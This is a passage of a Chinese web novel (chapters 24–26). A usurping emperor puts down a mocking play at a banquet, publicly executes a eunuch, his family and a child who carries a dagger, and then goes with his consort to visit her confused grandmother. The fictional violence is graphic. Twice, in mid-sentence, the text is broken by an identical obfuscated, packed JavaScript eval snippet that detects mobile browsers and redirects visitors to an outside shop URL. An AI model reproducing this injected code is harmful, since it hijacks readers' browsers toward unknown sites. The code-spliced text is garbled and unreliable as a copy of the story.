尧让闻言笑了笑,语气看似温和却带着几分微妙的意味:“这是自然的,毕竟,丞相是父皇最信任的的护国忠臣,朕自然是要亲临恭迎丞相回朝。” “陛下言重了。听闻此次恭迎宴还为老臣特意请来京都有名的戏子?” 尧让还未开口,身旁的太后忽的笑了笑道:“的确如此;显王殿下特意为了罗丞相准备的。” “哦?有名的戏子?那朕今日也算沾了罗丞相的光啊,朕也是许久未听戏曲了呢。”尧让看了一眼林贤,肃声道:“让戏子进来吧。” 话音刚落,殿外便传来细碎的脚步声,几名身着戏服的伶人随着悠扬的乐声入了殿内;为首的戏子一身蓝衣,轻扬衣袖,清婉的戏腔缓缓响起。 戏子唱着唱着,手里便出现了一把木剑,手中的木剑不断挥舞着;随即,那戏腔声便响彻整个殿内:“我本是那第一世间狐族首领妻子的养子,她待我恩重如山呐!可我,我原本就是那只自私自利的野鼠,心心念念要夺得那首领之位!这狐族,狐族......该杀!该杀啊!” 戏子口中那字字句句的唱词,众人听得清清楚楚,脸上的表情纷纷耐人寻味。谁人都明白,这戏词明面上是说着狐族养子的狼子野心,暗地里却句句都嘲讽着当今圣上的帝位是夺取来的。唱词里的含沙射影,使得殿内的嫔妃和朝臣们个个心头一紧;脸上强装镇定,内心却忐忑万分,目光在戏子、皇帝,以及罗丞相之间来回游移。 这戏曲唱得如此露骨,哪里是寻常表演,分明就是有人刻意安排;借着戏曲将当年太子被手刃、当今圣上篡位的旧事,生生地摆在了满朝文武面前。 罗怀明和尧显脸上正浮现着藏不住的得意之色,而稳坐帝位的皇帝尧让却神情未变,缓慢地将手中的茶杯放下,声音极其平静,让人猜不出他此时此刻的心情。 “来人,给朕围起来,一个都别放走。” 24.这招叫杀鸡儆猴 话音刚落,殿外便传来了沉重的脚步声,御林军便陆陆续续走了进来;手中的长剑寒光凛冽,瞬间将戏子团团围住。 方才还沉醉在戏曲中的伶人,此时已然面色惨白,为首的伶人手中那把木剑“哐当”一声落地,双腿一软,慌张地跪在地上,连抬头的胆量都没有。 御林军闯进来的这场面,使得罗怀明和尧显的脸色显得异常难看。 尧让忽然低笑了一声,目光落在了面色铁青的罗怀明身上,语气里夹杂着寒意:“罗丞相,你刚回朝,就给朕演了这么一出好戏啊,精彩是精彩,但,实在是令朕心生不悦啊。” 随即,他拿起茶杯,细细品了一口茶后,声音冷漠:“野鼠?谁是野鼠?朕体内流淌着的是正统皇室血脉,先帝是朕的父皇,悉心教导朕的是先皇后,所以,你们口中的野鼠是谁啊?丞相想必不了解朕,自然也不知道朕的手段。” “朕向来不吃亏,有仇必报!” 最后那句话传入耳中,罗怀明脸上平静的神情便染上了一丝慌张。 但一旁的戏子们早已经被吓得魂飞魄散;一个个的脸上布满了恐惧的神色,额头不停地往冰冷的地砖上磕着,声音早已因为极大的恐惧而颤抖:“陛下饶命!陛下饶命啊!小的们只是奉命唱戏,什么都不知道啊!” 求饶声响彻了整个大殿。 可,他们的求饶声并没有激起冷漠的帝王一丝怜悯之心,指尖摩挲着手中的茶杯;目光看向殿外,冷冷地开口:“进来吧。” 听到尧让的命令,殿外等候的人便应声走了进来,此人正是百里。他的身后跟着几名低头垂目的宦官以及家眷。他们立于阶下,一抬眼,看清了御座上的皇帝,便“噗通”一声跪在地上。 “见过陛下!”他们的声音此起彼伏,唯一共同点便是那算得上默契的恐惧。 尧让看着阶下的这一片跪地的身影,脸上的神色依旧平静如水,嘴角扬起了一丝淡淡的笑意:“朕是天子,是先帝遗诏亲封的储君。朕知道,你们心里头念着的是太子,可如今,太子早就被朕手刃了,这天下,总要有人执掌。朕是正统皇室血脉,这皇帝,朕凭什么就当不得?” “你这个畜生不如的暴君!你残害手足,为了这皇帝之位,竟不念手足情分,杀害皇子,手刃太子!这江山、这帝位根本就不是你的,是你这个无情无义的刽子手强夺的,你不得好死,暴君!”一位跪着的老宦官突然站起身,恶狠狠地盯着尧让破口大骂。 但瞬息之间,他便被御林军死死按在了地上;百里转过身,拔出了剑鞘里的长剑,欲要刺穿他的咽喉。 龙椅上的帝王忽的开口:“不用杀他。” 话音刚落,那柄直逼咽喉的长剑便猛地顿住,剑尖距离皮肉仅半寸之遥。虽此刻未再进分毫,但百里眼底的杀意尽显,随时等待着下一步刺穿他的咽喉。 “果然啊!朕倒是小瞧了太子身边的人,个个倒是忠心耿耿!只是这忠心下暗藏的祸心可是明显得很啊。” 下一瞬,尧让嘴角扬起的笑意褪得一干二净:“朕倒想问问,这朝野,究竟是当储君的太子说了算,还是你们这些权倾朝野的宦官说了算?只不过阉人而已,真当朝野是你们翻云覆雨的天下?亦或者说,你们当皇室之人是死了吗?那些上不得台面的心思和手段,先帝会不知?朕会不知?太子......亦会不知?” 伴随着话落下的瞬间,他手中的茶杯被他狠狠地摔在地上;这一摔,惊得殿内众人不禁倒吸一口凉气。 尧让缓缓从龙椅上站起身,接过林贤手中冰冷的弓弦,语气平淡:“既然你铁了心赴死......那朕便成全你的忠心耿耿,不然,还真显得朕无情。既如此,就从你开始吧......” “朕若没记错,先帝最喜欢看的便是这‘弓箭下求生’的戏码;巧了,朕也觉得,这戏码甚是有趣得很啊。” 最后那两句话,像千斤重的铁锤重重的砸在老宦官的的胸口,令他难以喘气。 尧让抬起手,将箭矢搭在了弓弦上,只是看了一眼阶下的百里,百里便读懂了他眼神中的意思,随即命人将老宦官家眷手上的手镣一一解开。 此时老宦官的家眷早已被吓得嚎啕大哭,孩童细碎的哭啼声紧紧地缠绕着众人的心弦,但却没人敢阻拦这“生杀游戏”。 “暴君,你冲我来!放了他们!”老宦官眼眶发红,喉咙里发出如野兽般的嘶吼。 只见尧让对他的咆哮充耳不闻,只是一点点地将弓弦拉满。箭矢瞄准的瞬间,那几个家眷疯了似的四散奔逃,孩童的声音越发尖锐,使得整个大殿瞬间甚是嘈杂。 但是,尧让并没有因为他们的尖叫声而生出半点怜悯之心。 “咻——” 弓弦回弹,箭矢已然以极快的速度射出,奔逃的身影猛地一愣。夏星辰不知何时跑上前抱住了愣神的孩童,她大口地呼吸着,直直地盯着射来的箭矢,不出意外,这支箭矢会直接穿过她的额间。 下一刻,另外一支箭射出,将第一支箭矢射落在地;夏星辰看着立在地上的两支箭矢,后背不禁冒出了冷汗。 “苏清夕,你想死吗?”尧让生气的朝着她吼道。 “陛下,他......他还是一个几岁的孩童啊,罪不及家人,陛下!”夏星辰边说着边跪在地上磕了好几个响头。 其他嫔妃和朝臣无一例外,一脸震惊地看着冒死保人的夏星辰,恐怕,也只有她敢这般了。 “好一句罪不及家人!苏清夕,那你可知上一句是什么?” 夏星辰抬眼看着他,他一步步地朝着自己走来,手里还持着那把独属于天子的长剑。 “利......利不及家人。” “既然你懂,那便让开。”尧让的脚步停在她身前,手中的长剑已经直指着她。 夏星辰紧紧地抱着孩童,重重的摇了摇头。 即便看到夏星辰如此的发善心护着眼前的孩童,可眼前帝王的脸上依旧没有半分的怜悯,那双黑色眸子里满是冷漠。 可下一刻,手中的长剑已快速出剑,直直刺穿了孩童的胸膛。在夏星辰瞪大的瞳孔中,她怀里的孩童应声倒地,鲜血顺着身子流到地面,晕开了一滩刺目的红。 孩童的哭声戛然而止,只剩下妇人瘫坐在地呜咽:“孩子,我的孩子。” “为......为什么?”夏星辰抬眼看着他,脸上的不可置信久久未散。 苏风逸即刻起身,跑上前扶起夏星辰,在她要发作之前,小声地凑到她耳边说道:“小夕,你低头看那孩童手中攥着的是什么。” 夏星辰低头一看,刚才自己拼命护下的孩童,他的手里竟然攥着一把匕首,那匕首的刀锋正对着她;若不是尧让果断出手,倒地的便是她了。 在她还在发愣、不知所措的时候,苏风逸连忙将她扶了下去。 与此同时,百里持着长剑,直接贯穿了老宦官的咽喉。他的动作利落,没有任何的犹豫,只是冷眼地看着往后倒地的已死之人。 如此血腥残忍的画面,阶下的嫔妃们和朝臣瞬间脸色煞白,一些胆小的人已经死死捂住了自己的嘴,但身体还是因为恐惧而控制不住地发抖。 他们早就听闻尧让这位帝王手段狠厉,清洗朝堂时毫不留情;可亲眼看见他将活生生的人命当作箭矢下的玩物,用孩童的鲜血震慑众人。这才惊觉,他们对这位帝王的狠绝,竟然还是低估了。 那些曾经依附于太子的宦官,此刻更是如坠冰窟;看到方才如此残忍的一幕,他们的后背早已被冷汗浸透,生怕下一个遭殃的便是自己。 尧让将手中的王剑随手扔给林贤,随即便坐回龙椅上,声音没有一丝温度:“拖下去,一个不留。” “是!”百里和御林军将剩下的宦官和家眷拖了下去,绝望的哭喊声在殿内此起彼伏;待到手起刀落的那瞬间,殿内的众人再也没听到一声哭喊,就连呜咽声都没有。 罗怀明抬眼望着龙椅上的皇帝,眼底掠过一丝难以置信的震惊。他实在是没料到,这位看似温和的帝王,手段竟然狠戾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648908|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至此,连妇孺都不肯放过;更没察觉,对方年纪轻轻,心思竟然深沉到这般地步,步步皆是算计。 他这才意识到,当年那个手无缚鸡之力,只会躲在先皇后身边寻求庇护的五皇子,在当今圣上的脸上早已寻不到半分当年的痕迹;他想不通,究竟是经历了什么,才会让他变成如今这般。 对于自己怀胎十月生下的孩子,太后只是侧头看了一眼,似乎从他身上也找不到一丝小时候的影子。与其说是找不到小时候的影子,不如说是她自己早就记不得他小时候长什么模样了。 殿内瞬间恢复了如死一般的寂静,尧让的目光落在了罗怀明身上;感受到视线的侵袭,他的身子都忍不住打了个寒颤。 “罗丞相,你跟随先帝数十年,应当是比朕更为清楚君臣之分。你返乡修养的这几年,可知道天下如何了?你如今坐在这里,朝政上是否有何差错?黎民百姓可有流离失所的苦难?天下的冤假错案比起先帝在世时,是多了还是少了?你别跟朕说你两耳不闻窗外事啊。”尧让的语气很平淡,言语间没有一丝情绪起伏。 一时间,罗怀明竟觉得喉头一紧,先前的得意与笃定,竟然在尧让的这一字一句的威胁下,悄然消散了几分;今日这位帝王的一言一行,仿佛有一股无形的帝王威压,在一寸一寸地夺他性命。 随即,他声音平缓,开口说道:“老臣此番回京途中,一路所见,百姓生计安稳,确是安好景象;途中亦有所闻陛下近几年重审旧案,令不少蒙冤之人得以沉冤昭雪。陛下此举,倒真的有几分先帝的风范。” “哦?如若这般,那朕怎么就当不得这皇帝了?今日这出戏,不是丞相和王兄安排的吗?” 此话一出,罗怀明和尧显纷纷站起身,走到殿中下跪。 “陛下,臣绝无此意。”尧显低下头说道。 尧让看到尧显撇清嫌隙之举,语气里明显夹杂着极度不耐烦之意:“王兄,你不必如此慌张,朕有事要与丞相说,你退至一旁去。” “是。” “丞相,朕如先帝一般敬重你,此次设宴恭迎你,可不是朕不得不给你这份颜面,朕不要求你懂得孰是孰非。但你该想清楚,先帝托付你辅佐君王,太子已死,如今坐在这龙椅上的是朕!你身为先帝旧臣,要拥护的人只能是朕,而非那些心怀反意的乱臣贼子。” 尧让说最后那句话时,视线所及的方向正是尧显落座的位置;只是这抹视线,没有他人察觉到。 “朕并非绝情寡义之人,但你们若要反,那便给朕听好了,一旦让朕捉到你们的狐狸尾巴,到时候,不仅仅是你们这些为首的,家中老妇、稚子孩童,朕一个都不会放过!” 尧让冷笑一声,目光锐利如刀,直刺向罗怀明:“丞相,朕的做派、手段,你该是熟悉的吧?这些,可都是先帝,朕的父皇,亲手教朕的帝王之术。” “而这一招,就叫‘杀鸡儆猴’!” 话落,罗怀明默默低下了头,此时的他早已不敢再直视帝王的那双眼睛了。 “这万里江山,是朕的天下;这九五至尊,是朕的帝位,普天之下,谁敢有权利说三道四?”尧让的目光依然是落在罗怀明身上:“如此,丞相,朕倒是想问问你,你是要体面,还是难堪?” 尧让这话里句句都是暗藏别意,而这别意,罗怀明此时是一清二楚。 随即,他便做出了内心的决定。腰身微躬,声音恭谨沉稳:“陛下万岁,万岁,万万岁!” 他脱口而出的这番话,字字句句皆带着俯首的恭顺。话语间的认可与臣服,已意味着他全然归顺与拥戴这位帝王。 “丞相当真聪明。”简单的几个字,充斥着帝王的满意。 百里轻步走入殿中,躬身说道:“启禀陛下,那些戏子该如何处置?” 尧让眼眸冷淡如冰:“拖下去,杖责五十。那为首的若是能扛过了这杖刑,便再给他喂下一碗哑药,让他记住,什么话该说,什么话不该说。” “是。”说罢,百里躬身倒退着退出殿外。 25.未雨绸缪的狠厉 看着御座上的尧让,尧显不自觉攥紧双拳。原来自始至终,是他一直没能看清尧让如此缜密的心思;尧让的擅于装弱竟然让他一直以来都轻看了他...... 恭迎宴中精心准备的这一出戏,明明是要给尧让一个下马威,借助罗丞相和太子旧部的势力一步步夺取皇权;可尧让的种种残暴行为,倒是险些让他自己落入圈套之中。 这场“狼兔之争”的宴会在双方试探中结束。朝臣和嫔妃一一离去,偌大的泰安殿只剩下了久久未缓过神的夏星辰。 夏星辰满脑子都是那个孩童手中的匕首;身为现代人的她,虽然也是见识过那些所谓的“明争暗斗”,也见识过“农夫与蛇”的现实版本,但却从未见识过天真单纯的孩童摇身一变成为“杀人魔”。 此时此刻,‘还只是一个孩子’这句话显得极其的讽刺。而那句‘有的孩子是畜生’却是格外的击溃人心,将所谓的善良贬到了尘埃里。 原本站在殿外等候她自己想通透的苏风逸,看着殿内人那错愕的表情,终究还是没忍住缓步走了进去;自然地落座在她身边,轻轻叹息道:“小夕,你方才所经历的,却是哥哥在年少时便见过的,残忍程度比方才有过之无不及。” “哥哥,你也觉得是我错了?” “对与错这个问题,哥哥没法给你答案。但......若是今日陛下因为你的‘善举’而被杀害,死的却不仅仅是你一人。哥哥年少之时,有一位皇子在战场上也是因为善心而放走了一个敌方的孩童,可没换来好意,却间接地害死了自己的将士。” 说罢,苏风逸重重地叹了气:“哥哥告诉你这个,不是要让你失去善心,而是无论在何时何地,首先要护住的是自己的性命。敌人就是敌人,过度的怜悯只会是被拿捏的把柄。” “我知道了......” “既然知道了,那便去请罪吧。” 夏星辰疑惑地侧过头看向苏风逸:“请罪?请什么罪?” “陛下差些因为你的善举而被杀害,若非陛下有先见之明,你啊你,觉得还有性命在这里和哥哥说话?”苏风逸脸上虽然是严肃的神情,但嘴角勾起的笑意却藏都藏不住。 而他极力掩藏却藏不住的笑意还是被夏星辰看出来了,她半信半疑地问道:“就只是这样?哥哥可还有什么要我做的?” 眼见心思被看穿,苏风逸笑出了声,凑到她耳边低声说道:“哥哥想让你说服一下陛下,让他出一趟宫,见一下祖母。” “祖母?我们家的祖母与陛下有何关系?”夏星辰越发地不解了。 “是这样的,祖母一直将陛下当成了太子,三日后便是祖母的寿辰,她一直念叨着要见太子;本来就因年纪大时而记不清事,如今还耍性子不吃不喝。” “太子?”夏星辰试探性地问道:“哥哥你说的太子,不会是那个被陛下手刃的太子吧?” 苏风逸无奈的点了点头:“你说对了。” “呃......这还真是个令人头疼的要求啊!你这是要在太岁头上动土啊?”夏星辰汗颜:“话说,祖母是对太子有什么滤镜吗?” “主要是因为太子生母去世之时便将太子托付给了祖母,而太子的生母恰恰是祖母唯一的徒弟。后来,太子重用宦官,祖母就是被他气得晕厥了过去,那时起,祖母便落下了精神错乱的毛病;时不时念叨着太子是否改邪归正了?”说起这事时,苏风逸便一脸的愁容。 夏星辰一时之间竟不知如何是好:“可我只是一个小小的妃子,我能说服陛下?哥哥,你若是想要我死,你直接说!” “哥哥不想着你和陛下已经有了肌肤之亲,说起情来不好些嘛。” “哇塞,哥哥,你知不知道我若是以这个说服陛下,恐怕他当真是要杀了我。再说了,肌肤之亲是个意外......” “虽是意外,但已然是有了夫妻之实啊!”苏风逸笑着轻拍着她的肩膀:“小夕,你要相信哥哥,陛下可是比显王殿下还要优秀得多,也是个绝佳良配!” 听着苏风逸说的这话,夏星辰的脑子里便莫名其妙出现那晚的翻云覆雨......有一说一,尧让这男人的确是令人念念不忘! 无论夏星辰怎么否认,各方面都很优秀的尧让很是让她喜欢,但一想到他那冷漠、难以接近的模样,这些足以让她望而却步了。 看着夏星辰犹豫不决的模样,苏风逸索性打起了感情牌:“小夕,你扪心自问,祖母对你不好吗?” “哥哥,你这是道德绑架了啊,祖母对你也很好,你怎么不去跟陛下说?”夏星辰没忍住给他翻了个白眼。 “我要是能说服他,还用跟你说这么多?” 夏星辰纠结了许久,开口道:“那我试试?” “不愧是我妹妹!”苏风逸笑着给她竖起了一个大拇指。 林贤刚从极咸宫殿内走出,就看到夏星辰朝着他笑了笑道:“林公公,陛下歇息了吗?” “还未,陛下正在吃晚膳。” 听到晚膳,夏星辰就明显感觉到自己的肚子也在抗议,心里不禁在想,皇帝的伙食应当是不错的。越是这样想,肚子抗议的声音愈发的响。 “娘娘在此候着,奴才去给您通传。” “好好好,快去快去。” 很快,殿门就被林贤从里面推开,对着她笑道:“娘娘,请!” 夏星辰立刻小跑进去。一踏进去,便看到尧让正在吃着东西,她走过去躬身行礼:“臣妾见过陛下!” 虽是行着礼,但目光却一直落在桌子上的美味佳肴。她的确是猜对了,皇帝的膳食果然与后宫其他人是不一样的,有那么几道菜还是夏星辰没见过的。 看着看着,她没忍住吞了一下口水,问道:“陛下,好吃吗?”她的确是真的饿了,泰安殿发生的事情,让她哪还有胃口吃得下东西。 尧让见她一副口水都快流下来了的模样,无奈道:“想吃就坐下来。” “陛下您这样说,那我就不客气了。”得到允许后,夏星辰连忙坐在尧让对面,拿起筷子夹了自己没见过的菜肴,一放到嘴里,她不禁露出了幸福满足的神情:“好好吃啊。” “陛下,您也吃啊!”夏星辰将一块肉夹到尧让碗里:“可好吃了这个。” 端着汤走进来的林贤看到这画面,瞥了一眼尧让那面无表情的脸,随即便将汤放到尧让面前,转而低声对夏星辰说道:“娘娘,陛下......不吃旁人夹的食物。” 夏星辰刚夹起的鱼肉正要往尧让的碗里放,却因为林贤这句话,筷子直接停顿在了上方,连带着脸上的笑意也僵住了。 “对......对不起!我不知道。”夏星辰声音极小,便打算将鱼肉放在自己碗里。 “放在朕碗里。” 简单的几个字,把夏星辰和林贤都震惊到了。但夏星辰还是不敢轻举妄动,小声地确认了一遍:“陛下,真的可以吗?” 尧让点点头。 “好。”夏星辰脸上再次露出笑容,将鱼肉放在了他的碗里,开心地安利道:“我跟你讲,这鱼肉真的很鲜美。” 尧让将碗里的鱼肉放进嘴里,淡淡一笑:“的确是很鲜美。” “我安利的准没错,毕竟,我的梦想可是成为大胃王!”夏星辰得意地笑道。 “大......大胃王?” 面对两双疑惑的眼神,夏星辰尴尬地解释道:“就是吃得很多的人。” 吃饱喝足之后,夏星辰满脸幸福神色。她认真地看着尧让,想了想后说道:“陛下,我以后能经常来你这吃饭吗?” 听到她这个要求,尧让满眼的不可置信:“你说什么?” 一旁的林贤也是一脸讶异的表情,他这还是第一次听到有人敢提对尧让提这个要求的。 “我说我以后能经常来你这吃饭吗?”夏星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654104|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰以为是这个要求太唐突了,连忙解释道:“是这样的,陛下你这里的菜实在是很好吃。再说了,这一大桌子的菜,你一个人也吃不完啊。” “好啊!” “耶!我每日都来的啊。”夏星辰光是想到自己可以每天都能吃到那么好吃的美食,心里就忍不住开心。 尧让几乎是没做任何的思索便答应了下来。这般异常的举动令自己也觉得无法理解,但一想想多了个人吃个饭而已,索性也没怎么想得过多。 “陛下,奴才在外候着。”林贤识趣地转过身走出了殿内,将门轻轻带上。 “饭吃完了,你还有事?”尧让坐在软榻上看着她。 经过这一提醒,夏星辰这才想起来自己来见他是有很重要的事情。随后,便对着他深深地鞠了一躬:“对不起,陛下!今日是臣妾的错,是臣妾莽撞了,险些将陛下置于危险之地!对不起。” 她的话很诚恳,坐在软榻上的帝王脸上不自觉露出了一个浅淡的笑容:“苏清夕,朕其实不在意的。无论那孩童手中是否有匕首,他都不会因为你的求饶而逃过一死;也就是说,无论如何,他都会死!” “啊?”夏星辰猛地抬眼望向他,瞳孔微微睁大,眼里既有茫然不解,也有掩不住的震惊之意。 见她这副懵懂无措的模样,尧让缓缓抬眸,迎上她不解的眼眸,语气里带着试探之意:“怎么?你是觉得朕是无情残暴的暴君?连一个孩童也不放过?” 作为接受现代思想的夏星辰,她根本无法消化得了这种‘未雨绸缪’的狠厉;可苏风逸对她说过的话她还记得。况且,用现代的标尺去衡量古代的规则,本就是一件完全行不通的事情。 夏星辰并不认为现代的思维在这封建的王朝中能有多超前...... 她缓过神,轻声道:“陛下,说实话,臣妾的确觉得这个做法无情无义,但这只是臣妾个人的看法,和陛下是不是暴君没有关系。而且,若换作是臣妾,未必能有陛下这般预知风险、提前防范的能力。” 夏星辰其实在看到那个孩童手中的匕首时,便已经知道了自己错得很离谱,她不应该以现代的思维去理解古代的思想观念。那些在现代社会里习以为常的宽容与侥幸,到了这皇权至上的古代,就是一把能轻易断送性命的刀。 宴会上那一瞬间的惊险之举,险些将她和尧让一同拖入深渊,这份愚蠢带来的后怕,她到现在还心有余悸。 所以这一刻,她清醒的意识到,在这等级森严的王朝,她从来都不是什么自带光环的特殊存在,不过是这庞大的皇权下,随时都能被碾碎的一粒尘埃;无论是古代,还是现代,她根本就不是什么主角。 “苏清夕,你还真是愈发的有趣了。”尧让不禁笑出了声:“朕还真是小瞧你了。” “无论如何,臣妾都欠陛下一个道歉和感谢。”这话并非是客套话,而是她内心的真实想法。无论尧让是有心还是无意,她这条命,的确是他救下来的。 尧让脸上的笑意愈发的明显,开口道:“行啊,苏清夕,那你要记得,你可欠着朕呢。现在看来,朕留着你这条小命还是有用的,至少能令朕觉得有趣极了。” “......陛下您别这么说,我害怕。” “没出息。”尧让站起身,语气夹杂着些许倦态:“行了,此事朕不怪罪你,毕竟,朕得到了朕最满意的结果,这一次就饶过你,不与你计较;退下去吧,朕累了。” 驱逐令已下,但夏星辰的脚步还如灌了水泥一样地愣在原地不动弹,丝毫没有要退下的意思。 “苏清夕,你还有事啊?什么事都明日再说,朕累了。”尧让再一次下了驱逐令。 夏星辰摇了摇头,开口说道:“陛下,我尽量说得快一些,您尝试着去理解,实在理解不了,我再直接说。” “你直接说,别讲一些朕听不懂的话。”尧让的脸上此时已经出现了不耐烦。 26.这就叫情不自禁 “好,我就直接说了。”夏星辰呼出一口气,挤出了一个笑容,说道:“陛下,三日后是我祖母的寿辰,想让您......” “闭嘴!” 尧让突然的打断,让她好不容易提起勇气说出口的话在这一刻如同泄了气的皮球。 “朕记得朕与苏风逸说过了,朕没兴趣去逗一个老人家,也不想去欺骗她。究竟是朕说不明白,还是你们兄妹二人理解不了?”尧让话里的不耐烦之意更甚。 夏星辰露出了一个极度委屈的模样,她小声地开口:“陛下,我们能理解。只是,祖母已经耍性子不吃不喝了,您就大发慈悲去见见她,扮演一下太......太子。” 最后那两个字,她的声音无比的小,生怕眼前的帝王听得清楚,又怕他听不清楚...... 真的是造孽啊!夏星辰此时无比后悔,她为什么要答应苏风逸那个家伙去做这种费力不讨好的事? 尧让顿时觉得好笑无比:“苏清夕,你好大的面子啊,朕凭什么要大发慈悲啊?朕再说一遍,朕对扮演太子没兴趣!” “呃......”夏星辰随即想到了另外的法子,试探性地开口道:“那这样吧,陛下!我们是夫妻,我祖母寿辰,无论怎样,你作为我的夫君,总该去贺寿吧?” “夫妻?谁跟你是夫妻?” 这话一出,夏星辰不禁无奈拍了拍手:“好样的,陛下,你这明显就是穿上裤子不认人!” “苏清夕,是你说不会以那件意外让朕对你负责,怎么?反悔了?”说这话时,尧让的眼神里尽是试探之意。 “我哪敢反悔啊!但我们总要讲道理吧,你占了便宜,我就只是提这么一个小小的要求,又没让你对我负责到底。”夏星辰嘟囔着嘴,嘀咕道:“万一不小心中奖了,还得我一个人养呢!” 嘟囔的话被尧让听得清清楚楚,嘴角上扬道:“那不正好吗?母凭子贵啊。” “不用了。像我这种智商的,我哪能替我小孩筹谋?”夏星辰说着便越发起劲:“万一在陛下你以后的众多孩子中,他要是讨不得你的欢心,怕是也只能当炮灰了。” 话音刚落,尧让沉默了片刻,忽的开口道:“朕累了!” “那......陛下你......”她观察着他的神情,小心翼翼地开口。 “行,朕就陪你出宫一趟。” “真的?”夏星辰开心地说道:“陛下你真是个大好人!” 看她如此雀跃,尧让无奈道:“仅此一次!” “OK!”夏星辰笑着比了好的的手势。 将军府门口,苏风逸时不时地望着某处方向,脸上已经浮现不安的神情。他实在是没有把握,自己的妹妹究竟有没有成功将尧让带过来! “风逸,如何了?”苏承走到他身边问道。 “不知道呢,小夕也没给我个信。” “爹,哥哥!”一辆马车往将军府驶来,夏星辰掀开轿帘,开心地朝着门口的二人招手。 二人见到她便喜笑颜开,也同她挥了挥手。 马车刚稳稳停下,夏星辰就按捺不住雀跃的心,连忙跳下了马车。 “还好还好,时辰赶得上!”夏星辰笑道,言语间还夹杂着一丝庆幸。 轿帘再次被掀开,尧让出现在苏承和苏风逸眼前,二人即刻躬身行礼:“见过陛下!” “免礼!” 今日的尧让身着黄白相间的浅色系服饰,直接将苏风逸和苏承看呆了!平时就算是平常服饰,尧让的身上还是会带着些玄色系的装饰,而今日却同往常很不一样。 也许夏星辰并未认得,但苏风逸二人却认得,这分明就是过去太子常穿的服饰! “怎么样?陛下今日这身装扮如何?像不像太子?”说完,夏星辰一脸等着被夸赞的得意神情。 “陛下恕罪!小夕……开玩笑的!”苏风逸低声说道。 “苏风逸,你装什么呢?今日这一切不都你安排的吗?”尧让语气冰冷:“再说了,朕的心胸没那么狭窄,太子这两个字并非是什么违禁词。” “陛下圣明!”既然被看穿,苏风逸索性不打算继续装下去,光明正大地笑道。 几人一走进大堂,祖母便一眼看到了尧让,瞬间满含热泪:“尧……尧乙!你来看祖母了?” 原以为尧让会端着皇帝架子不配合,夏星辰本想着提醒一下他。没想到,他自己一步步朝着祖母走了过去,然后自然地坐在祖母身边。 “是我,祖母。” “你这孩子,总算是不跟祖母怄气了?”祖母颤颤巍巍地抓住他的手,轻叹道:“尧乙啊,你秉性纯良,易遭他人算计。那些宦官看似是在帮你,实则是想借你之手架空你的皇权啊!” “祖母,您放心吧,我……我知晓。” “你又在诓骗祖母!祖母还不了解你嘛,你啊你......”祖母忽的说道:“对了,五皇子可回京了?” 此话一出,苏风逸忽的转移了话题:“祖母,我们用膳吧!” 夏星辰也不自觉瞥了一眼尧让,仔细地观察着他的神情是否有变化;毕竟,已然记事不清的祖母还不知道,她口中的五皇子可就在自己眼前呢,只是,皇子已经成为帝王了! 而她心心念念的太子也已成为帝王剑下的一缕亡魂了。 苏风逸之所以会转移话题,也是担心祖母口不择言,说错了些什么话;他所担心的,夏星辰能理解。 “老身还不饿,你们着什么急,老身还有很多话要和尧乙说呢。”祖母不悦地表达完自己的不满,又再次看向身旁的尧让,苦口婆心地说道:“尧乙啊,祖母接下来讲的话你要好好听。” 尧让微微点了点头。 “祖母不知你和五皇子究竟是发生了什么;但你若是继续重用那些宦官,重用李植德,这些阉人会一点点掏空你的皇权,到最后,你就会成为一个没有实权的傀儡皇帝。天下要的是明君,不是昏君,你要重用的应当是你的五皇弟啊!” 祖母以为自己说完这番话,又会引来尧乙的不痛快。但身边的尧让却是露出了一个淡淡的笑容:“祖母说的,我会衡量的。” “其实跟你说这些话,一是想劝你莫要重用宦官,当心权倾朝野;二是祖母尚存了点私心。”说着,她的脸上浮现了些许犹豫不决,随即声音里带上了几分恳求:“尧乙,若日后你真称帝,若你对他有所疑,祖母希望你给五皇子留条活路。” “什么?”尧让眼底闪过了一丝诧异。 “你当真以为祖母不知道你听信李植德的话,对五皇子生疑了吗?你就看在他常年为国征战的份上,也看在先皇后的情分上,别再对你这个皇弟赶尽杀绝,行吗?” 尧让突然冷笑出声,抬眼看着祖母,声音甚是冷漠:“祖母,若我说,他被我杀了呢。” 就在这句话落下的一瞬间,一记响亮的耳光落在了尧让的脸上,接着就是祖母发怒的声音:“你放肆!” 这一记耳光来得猝不及防,亲眼见到这番场景的众人顿时慌张无比。 “娘,你怎么可以打陛下呢?”苏承连忙上前,脸上满是不安。 “陛下?他这还没成为皇帝呢,就已经想好要对自己的亲皇弟下毒手了。”祖母颤颤巍巍地抬起手指着他,语气里满是失望:“尧乙,你怎的会变成这般昏庸无德啊?” “你没事吧?”夏星辰来到尧让身边,不自觉欲抬起手触摸他的脸庞;可刚要触摸到他的脸时,却被他一把抓住手腕。 “不准碰朕。” 突如其来的疏离与冷淡,让夏星辰不禁对他生出了恐惧。她连忙抽回手,轻声说道:“对不起!” “不对,你不是尧乙,对不对?”祖母忽的开口,她一步步走到尧让身前,猛地抬高了声音:“尧乙是不会来看老身的,自从那次在将军府摔门而出后,他便再也没有来看老身一眼;在你出现在老身面前的时候,老身就应该要猜到你根本不可能是尧乙!” “祖母,他是当今圣上!就是你口中的五皇子!”苏风逸无可奈何地说出了真相。 